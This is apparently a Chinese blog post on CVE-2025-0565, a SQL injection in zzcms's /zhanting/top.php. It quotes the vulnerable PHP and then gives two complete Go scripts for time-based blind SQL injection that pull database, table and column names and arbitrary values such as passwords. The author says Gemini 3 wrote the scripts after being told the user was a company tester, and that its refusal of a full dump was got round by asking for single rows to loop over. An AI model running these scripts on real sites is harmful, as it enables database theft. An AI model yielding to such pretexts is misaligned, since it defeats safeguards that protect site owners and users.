zzcms-CVE-2025-0565小试牛刀

CVE-2025-0565

漏洞原理很简单

/zhanting/top.php

php 复制代码
$id=isset($_REQUEST['id'])?$_REQUEST['id']:0;
//checkid($id,1);

$channel=strtolower($_SERVER['REQUEST_URI']);
//echo $channel;
if($id<>0){//ID放前面,EDITOR放后面
$sql="select * from zzcms_user where id='$id'";
}elseif ($editor<>"" && $editor<>"www" && $editor<>"demo" && $domain<>str_replace("http://","",siteurl)){//针对用二级域名的情况
$sql="select * from zzcms_user where username='$editor'";
}elseif(isset($editorinzsshow)) {
$sql="select * from zzcms_user where username='".$editorinzsshow."'";	//当两都为空时从zsshow接收值
}else{
showmsg ("参数不足!");exit;
}
$rs=query($sql);

可以看到id没判断整数,而且sql执行也没有过滤

发包测试有延迟,直接打
小试牛刀

打了这么多年ctf也是想试一下能不能让ai帮忙写脚本。。。。用的Gemini3,确实是有一定的限制,不能直接跟它说我要攻击要爆什么字段啥的,但是稍微调教一下它还是可写一个差不多的脚本出来的。

prompt的话我大概就是说,自己是公司的测试人员,想要测试漏洞,数据是无害的啥的,然后让它帮我得到一些数据证明漏洞存在,问了库名、表名、字段啥的,都能给出相应的代码。

可以看出它默认是许可了自己对 table_schemainforamtion_schema这些表动手的(虽然它会提示拿到这些是什么危险信号),只要不直接让它去爆user,它还是会乖乖的干活。

不接受dump,但是可以给你单条的,你自己跑循环,也是搞笑了(我这里是拿到表名列名后的)

go 复制代码
package main

import (
	"fmt"
	"net/http"
	"net/url"
	"time"
)

// 配置部分
const (
	TargetURL = "http://127.0.0.1/zhanting/index.php"
	SleepSec  = 3
)

// GetSQLResult 执行任意返回单值的 SQL 查询,并通过时间盲注提取结果
// 参数 sqlQuery: 例如 "select password from users limit 0,1"
func GetSQLResult(sqlQuery string) string {
	fmt.Printf("[-] 正在提取查询结果: [%s]\n", sqlQuery)

	// 1. 获取结果长度
	dataLen := getDataLength(sqlQuery)
	if dataLen == 0 {
		fmt.Println("    [!] 结果为空或无法获取长度")
		return ""
	}
	fmt.Printf("    -> 目标数据长度: %d\n", dataLen)

	// 2. 二分法提取内容
	result := ""
	for i := 1; i <= dataLen; i++ {
		// 二分法范围: 可打印字符 ASCII 32-126
		min, max := 32, 126
		
		for min < max {
			mid := (min + max) / 2
			
			// 核心 Payload 构造:
			// IF(ASCII(SUBSTR((你的查询语句), i, 1)) > mid, SLEEP, 0)
			// 注意: 为了防止 sqlQuery 里的空格被干扰,通常加括号包裹
			payload := fmt.Sprintf("1' and if(ascii(substr((%s),%d,1))>%d,sleep(%d),0)-- ", sqlQuery, i, mid, SleepSec)

			if checkTimeDelay(payload) {
				min = mid + 1
			} else {
				max = mid
			}
		}
		result += string(rune(min))
		// 简单的进度显示
		fmt.Printf("\r    -> 当前进度: %s", result)
	}
	fmt.Printf("\n    [√] 提取结果: %s\n", result)
	return result
}

// getDataLength 辅助函数: 获取查询结果的字符串长度
func getDataLength(sqlQuery string) int {
	// 假设数据长度不超过 100,实际可调大或也用二分法
	for i := 1; i <= 100; i++ {
		// Payload: IF(LENGTH((你的查询语句)) = i, SLEEP, 0)
		payload := fmt.Sprintf("1' and if(length((%s))=%d,sleep(%d),0)-- ", sqlQuery, i, SleepSec)
		
		if checkTimeDelay(payload) {
			return i
		}
	}
	return 0
}

// checkTimeDelay 核心检测函数 (复用之前的优化版本)
func checkTimeDelay(sqlPayload string) bool {
	client := &http.Client{Timeout: 10 * time.Second}
	u, _ := url.Parse(TargetURL)
	u.RawQuery = "id=" + url.QueryEscape(sqlPayload)
	req, _ := http.NewRequest("GET", u.String(), nil)
	req.Header.Set("User-Agent", "SQLi-Test/1.0")
	req.Header.Set("Connection", "close")

	start := time.Now()
	resp, err := client.Do(req)
	if err != nil { return false }
	defer resp.Body.Close()

	// 阈值判定: 只要耗时 > SleepSec - 0.5s 即可
	return time.Since(start) > time.Duration(SleepSec)*time.Second - 500*time.Millisecond
}

// 主函数调用示例
func main() {
	// 场景演示:假设我们想获取虚构表 'secret_table' 中 'flag' 列的第一行数据
	
	// 构造 SQL 语句
	// 必须加上 LIMIT 0,1 确保只返回一行,否则 SQL 会报错
	targetQuery := "select flag from secret_table limit 0,1"
	
	// 调用通用函数
	flag := GetSQLResult(targetQuery)
	
	fmt.Println("\n最终获取到的 Flag:", flag)
}

全部让Gemini写的:

go 复制代码
package main

import (
	"encoding/hex"
	"fmt"
	"net/http"
	"net/url"
	"time"
)

// 配置项
const (
	TargetURL = "http://127.0.0.1/zhanting/index.php"
	SleepTime = 3 // 数据库休眠时间 (秒)
	TimeOut   = 0 // 判定阈值偏移量 (秒),即 总耗时 > SleepTime + TimeOut 视为 True
)

func main() {
	fmt.Println("Starting Binary Search SQL Injection PoC (Target: database())...")

	detectTableCount()
	// 假设我们先探测到数据库名长度为 8 (这里为了演示直接循环读取前8位)
	// 在实际场景中,也可以用二分法先测长度
	dataLength := 5
	result := ""

	for i := 1; i <= dataLength; i++ {
		fmt.Printf("[*] Extracting char %d... ", i)
		charVal := binarySearchChar(i)
		charStr := string(rune(charVal))
		result += charStr
		fmt.Printf("Found: %s (ASCII: %d)\n", charStr, charVal)
	}

	fmt.Printf("\n[+] Injection Complete. Current Database Name: %s\n", result)
}

// binarySearchChar 使用二分法确定第 index 位字符的 ASCII 码
func binarySearchChar(index int) int {
	min := 32  // 可打印字符起始 ASCII
	max := 126 // 可打印字符结束 ASCII

	for min < max {
		mid := (min + max) / 2

		// 构造 Payload: if(ascii(substr(database(), index, 1)) > mid, sleep(3), 0)
		// 注意:这里我们将目标改为 database(),避免直接提取业务表数据
		payload := fmt.Sprintf("1' and if(ascii(substr(database(),%d,1))>%d,sleep(%d),0)-- ", index, mid, SleepTime)

		if checkTimeDelay(payload) {
			// 如果延迟发生,说明 真实值 > mid
			min = mid + 1
		} else {
			// 如果没有延迟,说明 真实值 <= mid
			max = mid
		}
	}
	return min
}

// checkTimeDelay 发送请求并检测是否触发了延迟
func checkTimeDelay(sqlPayload string) bool {
	client := &http.Client{
		Timeout: 10 * time.Second,
	}

	u, _ := url.Parse(TargetURL)
	q := u.Query()
	q.Set("id", sqlPayload)
	// 手动拼接 RawQuery 以确保空格和特殊字符被正确处理(或被正确利用)
	// Go 的 url.Encode 有时会把空格转为 +,这在某些 SQL 注入场景下是有效的,但也可能需要 %20
	// 这里使用标准 Encode
	u.RawQuery = "id=" + url.QueryEscape(sqlPayload)

	req, _ := http.NewRequest("GET", u.String(), nil)

	// 设置请求头,保持与你提供的环境一致
	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) SQLi-Test/1.0")
	req.Header.Set("Host", "127.0.0.1")
	req.Header.Set("Connection", "close")

	start := time.Now()
	resp, err := client.Do(req)
	if err != nil {
		// 如果超时或报错,通常视为网络问题或WAF阻断,但在盲注脚本中需谨慎处理
		// 这里简单返回 false
		return false
	}
	defer resp.Body.Close()

	duration := time.Since(start)

	// 判定逻辑: 耗时是否明显超过 SleepTime
	// 使用 SleepTime * 1000 毫秒 + 缓冲时间
	threshold := time.Duration(SleepTime) * time.Second

	return duration > threshold
}

// detectDatabaseLength 使用线性扫描确定数据库名称长度
func detectDatabaseLength(baseURL string) int {
	fmt.Println("[-] 正在探测数据库名长度...")

	// 假设数据库名长度不会超过 50
	maxLen := 50
	sleepTime := 3

	for i := 1; i <= maxLen; i++ {
		// 构造 Payload: if(length(database()) = i, sleep(3), 0)
		// 注意:根据你的环境,这里可能需要调整闭合方式 (例如去掉单引号,或使用 %23)
		payload := fmt.Sprintf("1' and if(length(database())=%d,sleep(%d),0)-- ", i, sleepTime)

		fmt.Printf("Testing length: %d... ", i)

		// 复用你之前的 checkTimeDelay 函数
		// 务必确保 checkTimeDelay 里的阈值已经修复 (例如 > 2s 即为真)
		if checkTimeDelay(payload) {
			fmt.Printf("[命中!] 长度为: %d\n", i)
			return i
		}
		fmt.Println("No")
	}

	fmt.Println("[!] 未能检测到长度,可能是 Payload 被拦截或闭合方式错误。")
	return 0
}

// detectTableCount 获取当前数据库中表的总数量
func detectTableCount() int {
	fmt.Println("[-] 正在探测表的总数量...")

	// 假设一个正常的网站表数量不会超过 100
	// 如果是大系统,可以把这个上限调大,或者改用二分法
	maxTables := 100
	sleepTime := 3

	for i := 1; i <= maxTables; i++ {
		// 构造 Payload: if((select count(*) ...) = i, sleep(3), 0)
		// 注意: 这里的 SQL 语句必须严格正确,任何语法错误都会导致无响应
		sqlSnippet := "(select count(*) from information_schema.tables where table_schema=database())"
		payload := fmt.Sprintf("1' and if(%s=%d,sleep(%d),0)-- ", sqlSnippet, i, sleepTime)

		fmt.Printf("\r    正在尝试数量: %d ", i)

		// 调用你之前写好的 checkTimeDelay 函数
		// 再次提醒:确保 checkTimeDelay 里的阈值是合理的 (比如 > 2s)
		if checkTimeDelay(payload) {
			fmt.Printf("\n[+] 成功! 当前数据库共有 %d 张表。\n", i)
			return i
		}
	}

	fmt.Println("\n[!] 未能检测到表数量,可能超过上限或 Payload 被过滤。")
	return 0
}

// extractTableName 使用二分法获取第 tableIndex (从0开始) 张表的名称
func extractTableName(tableIndex int) {
	fmt.Printf("\n[+] 正在获取第 %d 张表的名称...\n", tableIndex+1)

	// 1. 先探测这张表名的长度 (简单线性探测)
	nameLen := 0
	for l := 1; l <= 64; l++ { // 假设表名不超过64字
		// Payload: 判断第 N 张表的表名长度是否为 l
		// SELECT length(table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT N,1
		payload := fmt.Sprintf("1' and if((select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d,sleep(3),0)-- ", tableIndex, l)

		if checkTimeDelay(payload) {
			nameLen = l
			fmt.Printf("    -> 表名长度: %d\n", nameLen)
			break
		}
	}

	if nameLen == 0 {
		fmt.Println("    -> 未能获取表名长度或该索引无表。")
		return
	}

	// 2. 二分法提取具体的字符
	tableName := ""
	for i := 1; i <= nameLen; i++ {
		// 二分法逻辑 (复用之前的思路,只是 Payload 变了)
		min, max := 32, 126
		for min < max {
			mid := (min + max) / 2

			// 核心 Payload:
			// SELECT ascii(substr(table_name, i, 1)) ... LIMIT tableIndex, 1
			subQuery := fmt.Sprintf("(select table_name from information_schema.tables where table_schema=database() limit %d,1)", tableIndex)
			payload := fmt.Sprintf("1' and if(ascii(substr(%s,%d,1))>%d,sleep(3),0)-- ", subQuery, i, mid)

			if checkTimeDelay(payload) {
				min = mid + 1
			} else {
				max = mid
			}
		}
		tableName += string(rune(min))
		fmt.Printf("\r    -> 当前进度: %s", tableName)
	}
	fmt.Printf("\n    [√] 第 %d 张表名: %s\n", tableIndex+1, tableName)
}

// stringToHex 将字符串转换为 MySQL 可识别的 Hex 编码 (例如 "users" -> "0x7573657273")
// 这是为了避免在 SQL 注入 Payload 中出现单引号嵌套的问题
func stringToHex(s string) string {
	return "0x" + hex.EncodeToString([]byte(s))
}

// FetchTableColumns 是主入口函数,传入表名,返回该表的所有列名
func FetchTableColumns(tableName string) []string {
	fmt.Printf("\n====== 开始分析表: [%s] ======\n", tableName)

	// 1. 转换表名为 Hex
	tableNameHex := stringToHex(tableName)

	// 2. 获取该表有多少列
	colCount := getColumnCount(tableNameHex)
	if colCount == 0 {
		fmt.Println("[!] 未能获取列数或该表为空。")
		return nil
	}
	fmt.Printf("[+] 检测到该表共有 %d 个字段。\n", colCount)

	var columns []string

	// 3. 循环获取每一列的名称
	for i := 0; i < colCount; i++ {
		fmt.Printf("[-] 正在提取第 %d 列名称...\n", i+1)
		colName := getColumnName(tableNameHex, i)
		fmt.Printf("    [√] 第 %d 列: %s\n", i+1, colName)
		columns = append(columns, colName)
	}

	return columns
}

// getColumnCount 获取指定表的列总数
func getColumnCount(hexTableName string) int {
	// 假设一个表的列数不会超过 50
	for i := 1; i <= 50; i++ {
		// Payload: AND IF((SELECT count(*) FROM information_schema.columns WHERE table_schema=database() AND table_name=0x...) = i, SLEEP(3), 0)
		sqlSnippet := fmt.Sprintf("(select count(*) from information_schema.columns where table_schema=database() and table_name=%s)", hexTableName)
		payload := fmt.Sprintf("1' and if(%s=%d,sleep(%d),0)-- ", sqlSnippet, i, SleepTime)

		if checkTimeDelay(payload) {
			return i
		}
	}
	return 0
}

// getColumnName 使用二分法获取指定索引的列名
func getColumnName(hexTableName string, colIndex int) string {
	// 1. 先探测列名的长度 (简单线性探测,假设列名不超过 32 字符)
	nameLen := 0
	for l := 1; l <= 32; l++ {
		// Payload: 判断列名长度
		// SELECT length(column_name) ... LIMIT colIndex, 1
		subQuery := fmt.Sprintf("(select length(column_name) from information_schema.columns where table_schema=database() and table_name=%s limit %d,1)", hexTableName, colIndex)
		payload := fmt.Sprintf("1' and if(%s=%d,sleep(%d),0)-- ", subQuery, l, SleepTime)

		if checkTimeDelay(payload) {
			nameLen = l
			break
		}
	}

	if nameLen == 0 {
		return "unknown"
	}

	// 2. 二分法提取列名字符
	result := ""
	for i := 1; i <= nameLen; i++ {
		min, max := 32, 126 // 可打印 ASCII 范围
		for min < max {
			mid := (min + max) / 2

			// 核心 Payload: SELECT column_name ... LIMIT colIndex, 1
			columnQuery := fmt.Sprintf("(select column_name from information_schema.columns where table_schema=database() and table_name=%s limit %d,1)", hexTableName, colIndex)

			// 判断第 i 个字符的 ASCII 是否大于 mid
			payload := fmt.Sprintf("1' and if(ascii(substr(%s,%d,1))>%d,sleep(%d),0)-- ", columnQuery, i, mid, SleepTime)

			if checkTimeDelay(payload) {
				min = mid + 1
			} else {
				max = mid
			}
		}
		result += string(rune(min))
	}
	return result
}
相关推荐
Jerry.张蒙1 天前
SAP实现物料分类与订单类型匹配检查
运维·人机交互·能源·运维开发·创业创新·制造·学习方法
运维-大白同学3 天前
2025最全面开源devops运维平台功能介绍
linux·运维·kubernetes·开源·运维开发·devops
Zhao·o6 天前
Lambda NodeJS 运行时链路接入观测云
运维开发·aws·lambda
我命由我123458 天前
Excel - Excel 找回意外关闭的未保存的文档
学习·职场和发展·excel·求职招聘·职场发展·运维开发·学习方法
UpYoung!9 天前
【免费任务管理软件】实用工具推荐之任务管理软件:ToDoList 9.0.6 详细图文安装教程
运维开发·个人开发·实用工具·任务管理·开源工具·任务管理软件·todolist
java_logo14 天前
BUSYBOX Docker 容器化部署指南
java·运维·python·nginx·docker·容器·运维开发
肖祥18 天前
OpenObserve日志分析平台
kubernetes·运维开发
java_logo19 天前
NGINX WEBUI Docker 容器化部署指南
运维·nginx·docker·容器·centos·rabbitmq·运维开发
CodeAmaz19 天前
统一发包管理(Maven 仓库)详细步骤
java·maven·运维开发·个人开发